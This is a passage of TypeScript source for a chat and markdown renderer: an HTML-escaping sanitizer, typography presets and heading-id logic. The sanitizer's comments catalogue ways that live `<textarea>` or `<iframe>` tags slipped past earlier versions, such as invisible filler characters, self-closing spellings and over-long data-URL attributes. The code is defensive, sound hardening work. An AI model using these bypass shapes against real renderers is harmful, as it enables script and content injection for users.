  // a container that opened nothing.\n    const expanded = expandTabs(line)\n    const norm = stripContainerPrefix(expanded, listContentCol)\n    if (norm.openedListCol >= 0) listContentCol = norm.openedListCol\n    else if (!isBlankLine(norm.text) && norm.text === expanded) listContentCol = 0\n    const normBlank = isBlankLine(norm.text)\n    // A type-6/7 block ends at the first blank line. At top level the raw line\n    // decides — a bare `-` or `>` line inside a top-level HTML block is CONTENT,\n    // and treating it as blank would END the range early (the one\n    // under-detecting direction).\n    //\n    // Inside a container the container's own filler (`>`, `> >`, the item's\n    // indent) IS that blank line, so the block must end there — but ONLY the\n    // filler of the container the block actually opened in. Round 13 used the\n    // fully-stripped `norm.text` here, and `stripContainerPrefix` strips ANY\n    // container markers, not the ones that were open. So a line holding a\n    // DIFFERENT container's opener (`  >` under a `- <div>`, `> -` under a\n    // `> <div>`) normalized to empty, read as blank, and ended the range early —\n    // re-opening the very shelter the range exists to expose (verified: 1 live\n    // `<textarea>`, where the same input WITHOUT the filler line rendered 0).\n    // Under CommonMark that line is HTML content and the block continues.\n    //\n    // So termination strips at most the OPENING line's prefix width: `  >`\n    // minus 2 columns is `>`, non-blank, block continues; a genuine filler (`>`\n    // under `> `, two spaces under `- `) still normalizes to empty and still\n    // terminates. Measured in expanded columns, consistently with `expandTabs`.\n    // `isBlankLine`, NOT `trim()`. This is THE place the distinction bit: an\n    // NBSP / VT / FF / BOM filler line ended a tracked type-6/7 range while\n    // remark kept the HTML block open, so the inline-code shelter below it\n    // stopped being \"inside a tracked block\", the balance guard went blind, and\n    // a live `<textarea>` / third-party `<iframe>` reached the DOM\n    // (`escapeUnknownHtmlTags` returned the input BYTE-IDENTICAL). One\n    // invisible character reopened the whole shelter class.\n    const blank =\n      openPrefixLen > 0 ? isBlankLine(expanded.slice(openPrefixLen)) : isBlankLine(line)\n    if (kind !== null) {\n      // Types 6 and 7 end at (and EXCLUDE) the first blank line; 1..5 end on\n      // the line that satisfies their closer, INCLUSIVE.\n      if (kind >= 6) {\n        if (blank) {\n          ranges.push({ start, end: lastEnd })\n          kind = null\n          openPrefixLen = 0\n          inParagraph = false\n          continue\n        }\n        lastEnd = lineEnd\n        continue\n      }\n      lastEnd = lineEnd\n      if (htmlBlockEnds(kind, norm.text)) {\n        ranges.push({ start, end: lineEnd })\n        kind = null\n        openPrefixLen = 0\n        inParagraph = false\n      }\n      continue\n    }\n    // Outside a block: keep fence state, so a start condition written inside a\n    // genuine fenced code sample cannot open one. Fed the RAW line ON PURPOSE —\n    // the tracker is a shared CommonMark machine with two other consumers and\n    // feeding it normalized lines would let a `>`-prefixed delimiter INSIDE a\n    // top-level fence close it early. The cost is that a fence written inside a\n    // blockquote is invisible here, so its content lines can open a bogus block:\n    // more detection, i.e. the fail-CLOSED direction.\n    if (fences.push(line) !== 'text') {\n      inParagraph = false\n      continue\n    }\n    const started = htmlBlockStartKind(norm.text, inParagraph)\n    if (started !== null) {\n      inParagraph = false\n      // 1..5 may satisfy their end condition on the START line itself.\n      if (started < 6 && htmlBlockEnds(started, norm.text)) {\n        ranges.push({ start: lineStart, end: lineEnd })\n        continue\n      }\n      kind = started\n      openPrefixLen = expanded.length - norm.text.length\n      start = lineStart\n      lastEnd = lineEnd\n      continue\n    }\n    // Paragraph state uses the NORMALIZED blank: a container's own filler line\n    // (`>`, `> >`) separates paragraphs inside the container. Erring toward\n    // \"not in a paragraph\" only ENABLES the type-7 start condition — more\n    // detection, the fail-CLOSED direction.\n    inParagraph =\n      !normBlank && leadingIndent(norm.text) < 4 && !NON_PARAGRAPH_LINE_RE.test(norm.text)\n  }\n  // An unterminated block runs to end of input, exactly as the tokenizer treats it.\n  if (kind !== null) ranges.push({ start, end: lastEnd })\n  return ranges\n}\n\n/**\n * Tag-like starts the MAIN pass could not consume — `TAG_LIKE_REGEX` hard-bounds\n * its attribute run at 4096 chars (ReDoS hardening), so a longer run makes the\n * whole tag fail to match and NEITHER the allowlist NOR the RAWTEXT closer check\n * ever runs: a live `<iframe src=\"data:text/html;base64,…4KB+…\">` reached the DOM\n * verbatim. The cap must stay (removing it reintroduces the backtracking blowup),\n * so instead an over-long tag FAILS CLOSED here: only its `<` is escaped, which\n * degrades it to visible text rather than a live opener.\n *\n * Applied ONLY to the gaps BETWEEN main-pass matches, so a tag the main pass\n * already decided on can never be touched twice (no `&amp;lt;`).\n *\n * Shape is deliberately trivial — one bounded quantifier over disjoint character\n * classes and a single-char lookahead, so there is no alternation to backtrack\n * across and failure costs at most 64 steps per candidate `<`.\n *\n * MEASURED COST (round 12, this repo's vitest/jsdom env, `escapeUnknownHtmlTags`\n * over a document of nothing but max-length never-closed tag names — the\n * pathological shape for this pass): 61.2 / 122.1 / 257.2 / 492.2 ms at 325KB /\n * 650KB / 1.3MB / 2.6MB. Dead linear at ~190 ns/char, so there is no\n * algorithmic blowup — only a large constant on an input no real message has.\n * Realistic chat/post output (≤256KB) lands around 50ms. An earlier note in the\n * remediation record claimed 5.2ms for the 1.3MB case; that figure was wrong by\n * ~50x and is corrected here.\n *\n * NOT APPLIED INSIDE CODE (round 12). The candidate shape here is ANY\n * `<[a-zA-Z…]` followed by whitespace or `>`, not just the over-long tag it was\n * written for — so ordinary pseudo-code (`    if a <b then` in an indented\n * block) was escaped to a visible `&lt;`, since entity references are NOT\n * decoded inside code. That is the very argument that scoped the balance guard\n * away from inline code, applied here. The MASK already knows which regions are\n * code and the offsets are exact, so each candidate is checked against it\n * individually (per-candidate, not per-gap: a gap routinely spans both prose and\n * code).\n *\n * THE 4096-CHAR CAP HAS TWO CONSUMERS THAT ROUND IN OPPOSITE DIRECTIONS — and\n * getting that asymmetry wrong is what hid a live fail-open for six review\n * rounds (round 16). \"This span is not KNOWN to be code\" means:\n *\n *   consumer                       | not-known-to-be-code ⇒ | fail direction\n *   -------------------------------|------------------------|---------------\n *   this pass (`isMaskedBlank`)    | ESCAPE the `<`         | CLOSED (cosmetic:\n *                                  |                        | a visible `&lt;`)\n *   the CARVE (`PROTECTED_SPAN_RE`)| ESCAPE the span        | CLOSED (cosmetic:\n *                                  |                        | code renders as\n *                                  |                        | escaped text)\n *   the MASK's closer haystack     | ADMIT a `</tag>` closer| **OPEN** (a live\n *   (`hasLaterCloser`)             |                        | RAWTEXT opener\n *                                  |                        | swallows the rest\n *                                  |                        | of the message)\n *\n * The previous version of this note analysed the over-cap span for THIS pass\n * only, concluded \"the safe direction\", and stopped — true here, false for the\n * haystack, where the identical cap silently un-blanked a `</textarea>` written\n * inside an over-long inline span and re-opened the RAWTEXT swallow this module\n * exists to close. A residual note must state the fail direction PER CONSUMER;\n * a single \"safe direction\" verdict for a value read by passes that round\n * opposite ways is not a finding, it is an averaging error.\n *\n * RESOLVED for the haystack: the mask no longer uses a capped regex at all\n * (`findInlineCodeRanges` — linear, uncapped), so an over-long inline span is\n * blanked like any other and the haystack's fail-OPEN row above no longer has\n * an over-cap case. Pinned by the `spanLength` axis of the swallow sweep\n * (cap−k and cap+k for every shelter spelling).\n * RESIDUAL, deliberately kept: the CARVE keeps its cap, and so does this pass's\n * view of an over-cap span in a document the mask ALSO declines to blank — both\n * of those round CLOSED per the table, i.e. they cost at worst a visible `&lt;`.\n */\nconst LEFTOVER_TAG_START_RE = /<(\\/?)([a-zA-Z][a-zA-Z0-9-]{0,63})(?=[\\s>])/g\n\nfunction escapeLeftoverTagStarts(gap: string, lowerSource: string, gapOffset: number): string {\n  if (gap.indexOf('<') === -1) return gap\n  LEFTOVER_TAG_START_RE.lastIndex = 0\n  return gap.replace(\n    LEFTOVER_TAG_START_RE,\n    (m: string, slash: string, tag: string, at: number) =>\n      isMaskedBlank(lowerSource, gapOffset + at, gapOffset + at + m.length)\n        ? m\n        : `&lt;${slash}${tag}`,\n  )\n}\n\nexport function escapeUnknownHtmlTags(\n  text: string,\n  allowedTags: Set<string> = SAFE_HTML_TAGS,\n): string {\n  if (!text || text.indexOf('<') === -1) return text\n  // Masked, length-preserving, lowercased whole-document copy for the RAWTEXT\n  // closer lookup — the closer may live in a later segment than the opener,\n  // so the search must span the ENTIRE source, not the segment being escaped,\n  // and must ignore closers that are only code samples / attribute text.\n  const lowerSource = buildCloserHaystack(text)\n  // HTML-block ranges for the CARVE BALANCE GUARD below. Computed LAZILY: only\n  // a protected span that actually carries an unbalanced RAWTEXT opener needs\n  // them, which no ordinary message has.\n  let htmlBlocks: HtmlBlockRange[] | null = null\n  const spanInsideHtmlBlock = (from: number, to: number): boolean => {\n    htmlBlocks ??= computeHtmlBlockRanges(text)\n    return htmlBlocks.some((r) => r.start < to && r.end > from)\n  }\n  // Carve out fenced code blocks AND inline-backtick spans so `<their>`\n  // examples inside code are preserved verbatim.\n  const parts: string[] = []\n  let cursor = 0\n  PROTECTED_SPAN_RE.lastIndex = 0\n  let span: RegExpExecArray | null\n  while ((span = PROTECTED_SPAN_RE.exec(text)) !== null) {\n    if (span.index > cursor) {\n      parts.push(\n        escapeOutsideFences(text.slice(cursor, span.index), allowedTags, lowerSource, cursor),\n      )\n    }\n    // INTERSECTION GUARD (soundness, not an instance patch). A protected span\n    // is pushed through VERBATIM, so a live RAWTEXT opener inside one never\n    // reaches `escapeOutsideFences` at all and the mask's correctness is\n    // bypassed. Carve and mask run different engines, so the carve CAN protect\n    // a region the mask correctly blanked — `PROTECTED_SPAN_RE`'s closer\n    // alternative accepts an info string, ends its span early, desyncs, and can\n    // open a new span from a line CommonMark treats as ordinary text. Protect\n    // only what BOTH engines call code: if the mask left anything non-blank\n    // over this exact range, escape the span instead.\n    //\n    // CARVE BALANCE GUARD (the residual fail-open the intersection alone does\n    // NOT close). The intersection only reconciles DISAGREEMENT; when BOTH\n    // engines over-detect the SAME region it is a no-op. CommonMark says an\n    // HTML block (type 1 `<pre>`/`<details>`, type 6 `<div>`) runs to its\n    // terminator, so a ``` line inside one is HTML CONTENT and not a fence —\n    // and NEITHER `createFenceTracker` nor `PROTECTED_SPAN_RE` models HTML\n    // blocks, so both open a bogus fence at the same line and shelter whatever\n    // follows. So the range check is paired with a self-containment check: a\n    // protected span is by definition a complete code region, therefore any\n    // RAWTEXT opener inside it must be BALANCED within it. An unbalanced one\n    // means the span is not really code — route it through the escaper. This\n    // is engine-independent (it needs no HTML-block tracking).\n    //\n    // GATED ON HTML-BLOCK MEMBERSHIP, NOT ON THE SPAN'S FLAVOR (round 12). The\n    // property that makes a protected span \"not really code\" is that it sits\n    // inside an HTML BLOCK — where CommonMark says every line is HTML content.\n    // Two earlier rounds gated on flavor instead and traded one hole for the\n    // other:\n    //  - round 9 applied the guard to BOTH alternatives. That over-applied to\n    //    inline code, where entity references are NOT recognized, so an escaped\n    //    `&lt;title&gt;` was shown to the reader LITERALLY — and naming a tag in\n    //    inline code (`` `<title>` ``) is the single most common way a docs\n    //    answer mentions one.\n    //  - round 11 scoped it to FENCES, justified by \"an inline span cannot\n    //    shelter a live opener: remark emits it as an `inlineCode` TEXT node, so\n    //    parse5 never tokenizes its content\". That invariant is asserted in a\n    //    comment and holds only OUTSIDE an HTML block. Inside one, remark emits\n    //    raw HTML, backticks are not code, and `` `<textarea>` `` on its own\n    //    line inside `<div>` / `<pre>` / `<details>` / `<span>` sheltered a live\n    //    opener that swallowed the rest of the message.\n    // Membership covers BOTH spellings with one property, and leaves ordinary\n    // prose inline code untouched. `isFence` is kept as an independent\n    // sufficient condition: a fenced span that the mask blanked but the HTML\n    // walk does not consider part of a block (the two engines can still desync)\n    // must stay under the round-9 guarantee.\n    // Group 1 is the fence marker, group 2 the inline backtick run.\n    //\n    // PROPERTY GUARANTEED: no protected span that is either a FENCE or inside an\n    // HTML BLOCK can carry an unbalanced RAWTEXT opener into the output\n    // verbatim. That is strictly weaker than \"the carve never over-detects\" — an\n    // over-detected span with no RAWTEXT opener in it is still pushed verbatim,\n    // which stays cosmetic-only.\n    const isFence = span[1] !== undefined\n    const spanEnd = span.index + span[0].length\n    parts.push(\n      isMaskedBlank(lowerSource, span.index, spanEnd) &&\n        !(\n          hasUnbalancedRawtextOpener(span[0]) &&\n          (isFence || spanInsideHtmlBlock(span.index, spanEnd))\n        )\n        ? span[0]\n        : escapeOutsideFences(span[0], allowedTags, lowerSource, span.index),\n    )\n    cursor = span.index + span[0].length\n  }\n  if (cursor < text.length) {\n    parts.push(escapeOutsideFences(text.slice(cursor), allowedTags, lowerSource, cursor))\n  }\n  return parts.join('')\n}\n\n/**\n * Walks `segment` tag by tag rather than using `String.replace`, so the regions\n * the main regex did NOT consume are addressable: each gap is handed to\n * `escapeLeftoverTagStarts` (see it for the over-long-attribute fail-open it\n * closes), while every matched tag keeps its ORIGINAL index. Preserving that\n * index matters — `hasLaterCloser` indexes `lowerSource`, which is built from\n * the untouched text, so any offset drift reopens the round-5 desync class.\n */\nfunction escapeOutsideFences(\n  segment: string,\n  allowedTags: Set<string>,\n  lowerSource: string,\n  segmentOffset: number,\n): string {\n  const out: string[] = []\n  let cursor = 0\n  TAG_LIKE_REGEX.lastIndex = 0\n  let m: RegExpExecArray | null\n  while ((m = TAG_LIKE_REGEX.exec(segment)) !== null) {\n    const [match, slash, tag, rest, selfClose] = m\n    if (m.index > cursor)\n      out.push(\n        escapeLeftoverTagStarts(\n          segment.slice(cursor, m.index),\n          lowerSource,\n          segmentOffset + cursor,\n        ),\n      )\n    const lower = tag.toLowerCase()\n    const escaped = `&lt;${slash}${tag}${rest}${selfClose}&gt;`\n    if (!allowedTags.has(lower)) {\n      out.push(escaped)\n    } else if (slash === '' && RAWTEXT_TAGS.has(lower)) {\n      // Allowlisted — but an UNCLOSED RAWTEXT opener would swallow the rest of\n      // the document during tokenization, before any allowlist applies.\n      //\n      // The SELF-CLOSED spelling counts as an opener (round 11): HTML ignores\n      // the self-closing flag on non-void, non-foreign elements, so parse5\n      // tokenizes `<textarea/>` as a start tag and enters RAWTEXT identically.\n      // Excluding it here left the entire defense — prose openers, HTML-block\n      // shelters, all of it — bypassable by one extra slash. `RAWTEXT_TAGS` has\n      // no void members, so nothing legitimate self-closes.\n      //\n      // COSMETIC COST (accepted, fail-closed): self-closing IS honored in\n      // foreign content, so an EMPTY `<title/>` inside `<svg>` now escapes\n      // rather than rendering. It carries no accessible name either way, and\n      // the real a11y form `<title>Chart</title>` is unaffected. SECOND COST\n      // added by the same round: a protected span the balance guard deems\n      // not-really-code is routed through this function whole, so bare `<tag`\n      // starts in its GAPS are escaped too — the mask check in\n      // `escapeLeftoverTagStarts` keeps that off genuine code regions.\n      const afterTag = segmentOffset + m.index + match.length\n      out.push(hasLaterCloser(lowerSource, lower, afterTag) ? match : escaped)\n    } else {\n      out.push(match)\n    }\n    cursor = m.index + match.length\n  }\n  if (cursor < segment.length)\n    out.push(escapeLeftoverTagStarts(segment.slice(cursor), lowerSource, segmentOffset + cursor))\n  return out.join('')\n}\n\n// ---------------------------------------------------------------------------\n// URL transform\n// ---------------------------------------------------------------------------\n/**\n * Extends react-markdown's default safe-protocol allowlist with the two\n * internal schemes the chat remark plugins emit (`card://`, `mention://`),\n * for `href` ONLY. All other URLs go through `defaultUrlTransform`.\n */\nexport function cardAwareUrlTransform(url: string, key: string): string {\n  if (key === 'href' && typeof url === 'string' && (url.startsWith('card://') || url.startsWith('mention://')))\n    return url\n  return defaultUrlTransform(url)\n}\n","/**\n * Text-size presets for the unified markdown engine.\n *\n * `default` / `compact` / `large` are carried over verbatim from the old\n * `SimpleMarkdownRenderer`. `article` is NEW — it reproduces the exact\n * typography the old `RichMarkdownRenderer` hardcoded per element, so\n * content surfaces (blog, case studies, releases, legal, docs) keep\n * byte-identical classes through the unification.\n *\n * ODS-TOKENS FLAG (ODS_TOKEN_RULES §Typography / §General): the `article`\n * preset carries raw px classes (`text-[32px] md:text-[40px] …`) because\n * ODS currently has NO composite tokens for long-form prose — `text-h1`/\n * `text-h2` are Azeret Mono UI-label scale and `text-h5` is uppercase,\n * so mapping prose headings onto them would visibly regress articles.\n * The `code` entry of EVERY preset (`text-[13px]` / `text-[14px]` /\n * `text-[16px]`), not just `article`'s, is raw px for the same reason: ODS\n * has no code/mono type scale. `base-components.tsx` carries the matching\n * flag for inline code's `text-[0.9em]` (the mono FAMILY is no longer an\n * exemption — both code surfaces now use `font-mono`).\n * Per the unification plan, the missing prose- and code-typography tokens\n * are FLAGGED here for addition to ODS; the raw-px carry-over is the\n * documented, review-gated exemption recorded in the unification PR.\n * Do NOT copy these px classes anywhere else.\n */\n\nexport type TextSizeElement =\n  | 'h1' | 'h2' | 'h3' | 'h4' | 'h5' | 'h6'\n  | 'p' | 'li' | 'blockquote' | 'code' | 'th' | 'td';\n\nexport type TextSizeClassMap = Partial<Record<TextSizeElement, string>>;\nexport type TextSizePreset = 'default' | 'compact' | 'large' | 'article';\nexport type TextSizeConfig =\n  | TextSizePreset\n  | TextSizeClassMap\n  | { preset: TextSizePreset; overrides: TextSizeClassMap };\n\nexport const TEXT_SIZE_PRESETS: Record<TextSizePreset, Record<TextSizeElement, string>> = {\n  default: {\n    h1: 'text-heading-1',\n    h2: 'text-heading-2',\n    h3: 'text-2xl md:text-3xl',\n    h4: 'text-xl',\n    h5: 'text-lg md:text-xl',\n    h6: 'text-base md:text-lg',\n    p: 'md:text-h4 lg:text-h4',\n    li: 'text-base md:text-lg',\n    blockquote: 'text-lg',\n    code: 'text-[14px]',\n    th: 'text-xs md:text-sm',\n    td: 'text-xs md:text-sm',\n  },\n  compact: {\n    h1: 'text-heading-2',\n    h2: 'text-heading-3',\n    h3: 'text-xl md:text-2xl',\n    h4: 'text-lg md:text-xl',\n    h5: 'text-base md:text-lg',\n    h6: 'text-sm md:text-base',\n    p: 'text-base md:text-lg',\n    li: 'text-base md:text-lg',\n    blockquote: 'text-base md:text-lg',\n    code: 'text-[13px]',\n    th: 'text-xs md:text-sm',\n    td: 'text-xs md:text-sm',\n  },\n  large: {\n    h1: 'text-heading-1',\n    h2: 'text-heading-1',\n    h3: 'text-heading-2',\n    h4: 'text-2xl md:text-3xl',\n    h5: 'text-xl md:text-2xl',\n    h6: 'text-lg md:text-xl',\n    p: 'text-h3',\n    li: 'text-lg md:text-xl',\n    blockquote: 'text-xl md:text-2xl',\n    code: 'text-[16px]',\n    th: 'text-sm md:text-base',\n    td: 'text-sm md:text-base',\n  },\n  // Old RichMarkdownRenderer typography, byte-for-byte (see header note).\n  article: {\n    h1: 'text-[32px] md:text-[40px] lg:text-[48px] leading-[1.25]',\n    h2: 'text-[28px] md:text-[32px]',\n    h3: 'text-[24px] md:text-[28px]',\n    h4: 'text-[20px] md:text-[22px]',\n    h5: 'text-[18px] md:text-[20px]',\n    h6: 'text-[16px] md:text-[18px]',\n    // Full class string incl. spacing/leading — `cn` (tailwind-merge)\n    // resolves these OVER the base map's `leading-relaxed mb-4`, keeping\n    // Rich's article rhythm (`my-4`, `leading-[1.6]`, `font-sans`).\n    p: 'font-sans text-[16px] md:text-[18px] lg:text-[20px] leading-[1.6] my-4',\n    li: 'text-[16px] md:text-[18px]',\n    blockquote: 'text-[1.125em]',\n    code: 'text-[14px]',\n    th: 'text-xs md:text-sm',\n    td: 'text-xs md:text-sm',\n  },\n};\n\nexport function resolveTextSizeConfig(config?: TextSizeConfig): Record<TextSizeElement, string> {\n  const defaultSizes = TEXT_SIZE_PRESETS.default;\n  if (!config) return defaultSizes;\n  if (typeof config === 'string') return TEXT_SIZE_PRESETS[config];\n  if ('preset' in config) return { ...TEXT_SIZE_PRESETS[config.preset], ...config.overrides };\n  return { ...defaultSizes, ...config };\n}\n","/**\n * Heading-id derivation for the unified markdown engine.\n *\n * PURE BY CONSTRUCTION. The previous design was a stateful generator whose\n * per-pass counters were reset in the engine's render body, and it was\n * unsound in two independent ways:\n *   - memoized streaming blocks do NOT re-render on the pass that resets the\n *     counter, so mid-stream a document with two `## Setup` headings emitted\n *     `id=\"setup\"` TWICE (block 0 kept its id; the re-rendered tail\n *     re-derived from an empty counter) — invalid HTML, and `#setup`\n *     resolved to the wrong node for the rest of the stream;\n *   - React StrictMode double-invokes render, and heading renderers are\n *     element types re-rendered independently of the parent that did the\n *     reset, so every id gained a `-2` suffix in dev and extractor↔renderer\n *     parity broke.\n *\n * Instead the ids are computed ONCE from the processed markdown source, in a\n * `useMemo`, into a `line → id` map. The heading renderer is a pure lookup\n * by `node.position.start.line`; nothing is derived from render order, so\n * memo bails and StrictMode double-invocation are both no-ops.\n *\n * The slug algorithm itself lives in the server-safe SSOT\n * `utils/markdown-heading-id` (shared with `utils/markdown-section-extractor`,\n * the producer of `sectionIds`); the title normalization mirrors the\n * extractor's `stripInlineMarkdown` so `## **Setup**` slugs identically on\n * both sides.\n */\nimport { createContext, useContext, useMemo, useRef } from 'react'\nimport {\n  createHeadingIdDeduper,\n  scanHeadings,\n  stripHeadingEmojis,\n  slugifyHeadingText,\n} from '../../../utils/markdown-heading-id'\nimport { stripInlineMarkdown } from '../../../utils/markdown-to-plain'\n\nexport interface HeadingSection {\n  id: string\n  title: string\n  level: number\n}\n\n/** `line (1-based, document-wide) → heading id`. */\nexport type HeadingIdMap = ReadonlyMap<number, string>\n\n/**\n * Heading levels the section extractor sees (`extractSections`'s default\n * `maxLevel`). The `section-N` fallback ordinal counts only these, so\n * renderer and extractor agree on the fallback slug for symbol-only\n * headings (see the fallback comment below).\n */\nconst EXTRACTOR_MAX_LEVEL = 2\n\n/**\n * Line offset added to unit-relative hast positions. Non-zero only on the\n * streaming path, where each atomic unit is parsed by its own\n * `ReactMarkdown` (see `StreamingBlock.startLine`).\n */\nexport const HeadingLineOffsetContext = createContext(0)\n\nconst EMPTY_HEADING_IDS: HeadingIdMap = new Map()\n\n/**\n * The document's heading-id map, delivered by CONTEXT rather than baked into\n * the react-markdown `components` map on purpose: the map is rebuilt on every\n * streamed token (its input is the growing `processedContent`), so listing it\n * as a `components` memo dep would change that map's identity each token and\n * make every completed streaming block's `memo` bail — the exact regression\n * `NO_BROKEN_LINKS` was introduced to fix. Through context only the heading\n * renderers re-render.\n */\nexport const HeadingIdMapContext = createContext<HeadingIdMap>(EMPTY_HEADING_IDS)\n\n/** Look up the pre-computed id for a heading hast node. Pure. */\n// eslint-disable-next-line @typescript-eslint/no-explicit-any\nexport function useHeadingId(node: any): string | undefined {\n  const map = useContext(HeadingIdMapContext)\n  const offset = useContext(HeadingLineOffsetContext)\n  const line = node?.position?.start?.line\n  return typeof line === 'number' ? map.get(line + offset) : undefined\n}\n\n/**\n * Build the document's `line → id` map. Pure: same content + same\n * `sectionIds` always yields the same map.\n */\nexport function buildHeadingIdMap(\n  content: string,\n  sectionIds?: HeadingSection[],\n): HeadingIdMap {\n  const sectionIdMap = new Map<string, string>()\n  if (sectionIds) {\n    for (const section of sectionIds) {\n      sectionIdMap.set(section.title, section.id)\n      sectionIdMap.set(section.title.toLowerCase(), section.id)\n      sectionIdMap.set(stripHeadingEmojis(section.title).toLowerCase(), section.id)\n    }\n  }\n\n  // Deduper AND scanner are the shared SSOT primitives the extractor also\n  // instantiates — see utils/markdown-heading-id.ts.\n  const dedupe = createHeadingIdDeduper()\n\n  const map = new Map<number, string>()\n  let sectionOrdinal = 0\n  let headingOrdinal = 0\n\n  for (const { line, level, text: rawText } of scanHeadings(content)) {\n    // Match what `extractText(children)` yields from the RENDERED inline\n    // nodes: emphasis/code/link syntax is markup, not text. (The extractor\n    // applies the identical strip via `stripFormattingMarkers`.)\n    const text = stripInlineMarkdown(rawText).trim()\n    headingOrdinal++\n    if (level <= EXTRACTOR_MAX_LEVEL) sectionOrdinal++\n\n    // Backend-provided ids win for H1/H2 (deep-link anchors). They go\n    // through the SAME dedup rather than trusting the backend to own\n    // uniqueness: `sectionIdMap` is keyed by heading TITLE, so two identical\n    // `## Setup` headings look up the same entry and would emit duplicate\n    // DOM ids. The dedup makes the second one `setup-2`, exactly matching\n    // what `extractSections` produces for the same document.\n    let assigned: string | undefined\n    if (sectionIds && level <= EXTRACTOR_MAX_LEVEL) {\n      for (const variation of [\n        text,\n        text.toLowerCase(),\n        stripHeadingEmojis(text),\n        stripHeadingEmojis(text).toLowerCase(),\n      ]) {\n        const id = sectionIdMap.get(variation)\n        if (id) {\n          assigned = dedupe(id)\n          break\n        }\n      }\n    }\n\n    if (assigned === undefined) {\n      const baseId = slugifyHeadingText(text)\n      // Symbol-only heading (slug collapses to ''). `extractSections` falls\n      // back to `section-${sections.length + 1}` — its ordinal among the\n      // headings it SEES, i.e. levels ≤ maxLevel. Mirror that exactly for\n      // H1/H2 so extractor↔renderer slugs stay in total agreement; deeper\n      // headings, which the extractor never emits, get their own\n      // `heading-N` namespace so they can never collide with a `section-N`.\n      assigned = dedupe(\n        baseId ||\n          (level <= EXTRACTOR_MAX_LEVEL\n            ? `section-${sectionOrdinal}`\n            : `heading-${headingOrdinal}`),\n      )\n    }\n\n    map.set(line, assigned)\n  }\n\n  return map\n}\n\n/** True when two id maps have identical entries (order-insensitive). */\nfunction sameHeadingIdMap(a: HeadingIdMap, b: HeadingIdMap): boolean {\n  if (a === b) return true\n  if (a.size !== b.size) return false\n  for (const [line, id] of a) {\n    if (b.get(line) !== id) return false\n  }\n  return true\n}\n\n/**\n * Memoized `buildHeadingIdMap` for the engine, with the map's IDENTITY held\n * stable across content changes that don't touch any heading.\n *\n * `content` changes on every streamed token, so the `useMemo` alone rebuilt\n * a fresh `Map` per token; that map is the context value, so EVERY heading\n * consumer in every already-completed block re-rendered on every token —\n * the same identity-churn class `NO_BROKEN_LINKS` exists to prevent, just\n * one layer down. Rebuilding is cheap; re-rendering the consumers is not, so\n * the newly built map is compared to the previous one and the previous\n * object is returned when the entries match.\n */\nexport function useHeadingIdMap(\n  content: string,\n  sectionIds?: HeadingSection[],\n): HeadingIdMap {\n  const previous = useRef<HeadingIdMap | null>(null)\n  return useMemo(() => {\n    const next = buildHeadingIdMap(content, sectionIds)\n    if (previous.current && sameHeadingIdMap(previous.current, next)) return previous.current\n    previous.current = next\n    return next\n  }, [content, sectionIds])\n}\n\n/**\n * Fallback id for a heading the source scan could NOT see — in practice only\n * a heading synthesized by a caller remark/rehype plugin, which carries no\n * source position. (Setext, blockquote/list-nested ATX and multiple raw\n * `<hN>`s on one line are all scanned now, so they no longer land here.)\n *\n * Routed through the SAME dedupe shape as the map so a fallback id can never\n * collide with an assigned one. It stays PURE — `taken` is derived from the\n * map, not from render order — which is why two position-less headings with\n * IDENTICAL text still collide with each other: disambiguating those would\n * require the shared mutable counter this module deleted.\n */\nexport function resolveFallbackHeadingId(base: string, taken: ReadonlySet<string>): string {\n  if (!base || !taken.has(base)) return base\n  for (let n = 2; ; n++) {\n    const candidate = `${base}-${n}`\n    if (!taken.has(candidate)) return candidate\n  }\n}\n\n/** Cached `Set` of a map's assigned ids (one per map identity). */\nconst TAKEN_IDS_CACHE = new WeakMap<object, ReadonlySet<string>>()\n\n/**\n * The ids already assigned by the document's heading-id map. Cached per map\n * IDENTITY, which `useHeadingIdMap` now keeps stable across heading-free\n * token growth — so this is O(headings) once, not per heading per token.\n */\nexport function useAssignedHeadingIds(): ReadonlySet<string> {\n  const map = useContext(HeadingIdMapContext)\n  const cached = TAKEN_IDS_CACHE.get(map as object)\n  if (cached) return cached\n  const set = new Set(map.values())\n  TAKEN_IDS_CACHE.set(map as object, set)\n  return set\n}\n\n/** Extract plain text from React children (headings receive mixed nodes). */\n// eslint-disable-next-line @typescript-eslint/no-explicit-any\nexport function extractText(node: any): string {\n  if (typeof node === 'string') return node\n  if (Array.isArray(node)) return node.map(extractText).join('')\n  if (node?.props?.children) return extractText(node.props.children)\n  return ''\n}\n","/**\n * Convert markdown source to plain text. Used by both the SEO server component\n * (article-body echo in JSON-LD) and chat entity-card preview (clamped previews\n * inside chat cards).\n *\n * The two consumers differ only in pre/post processing — `mode: 'article'`\n * strips code blocks + images + headings + list bullets and preserves paragraph\n * breaks; `mode: 'preview'` collapses everything to a single line. Both share\n * the same inline-marker strip (link / bold / italic / inline-code).\n *\n * All regex patterns are linear (negated character classes, non-greedy with\n * bounded targets) — no nested quantifiers, no catastrophic backtracking on\n * pathological input.\n */\n\nexport interface MarkdownToPlainOptions {\n  /**\n   * - `'article'` (default): preserve paragraph structure (`\\n\\n` as separator),\n   *   strip code blocks + images + headings + list bullets. Used for the\n   *   article-body echo on SEO surfaces.\n   * - `'preview'`: collapse all whitespace to single spaces; result is a single\n   *   line. Used for chat-card previews / OG-card snippets where line breaks\n   *   would wrap awkwardly.\n   */\n  mode?: 'article' | 'preview'\n  /** Optional max-character cap. Truncates with no ellipsis (caller-decided). */\n  maxChars?: number\n}\n\n/** Strip inline markdown markers (bold, italic, inline-code, links). Shared\n *  by `extractSections`'s `stripFormattingMarkers` and `markdownToPlainText`. */\nexport function stripInlineMarkdown(s: string): string {\n  return s\n    .replace(/\\[([^\\]]+)\\]\\([^)]+\\)/g, '$1')   // [text](url) → text\n    .replace(/\\*\\*([^*]+)\\*\\*/g, '$1')         // **bold** → bold\n    .replace(/\\*([^*]+)\\*/g, '$1')             // *italic* → italic\n    .replace(/`([^`]+)`/g, '$1')               // `inline code` → inline code\n}\n\nexport function markdownToPlainText(\n  markdown: string,\n  options: MarkdownToPlainOptions = {},\n): string {\n  const { mode = 'article', maxChars } = options\n\n  let out = markdown\n    // Fenced code blocks — must run BEFORE inline strippers (otherwise the\n    // backtick-grave strip below grazes them).\n    .replace(/```[\\s\\S]*?```/g, '')\n    // Images — `![alt](src)` → empty (we drop them entirely in plain text).\n    .replace(/!\\[[^\\]]*\\]\\([^)]+\\)/g, '')\n\n  out = stripInlineMarkdown(out)\n    // Heading markers (any depth).\n    .replace(/^#+\\s*/gm, '')\n    // List bullets at start-of-line.\n    .replace(/^\\s*[-*+]\\s+/gm, '')\n\n  if (mode === 'preview') {\n    out = 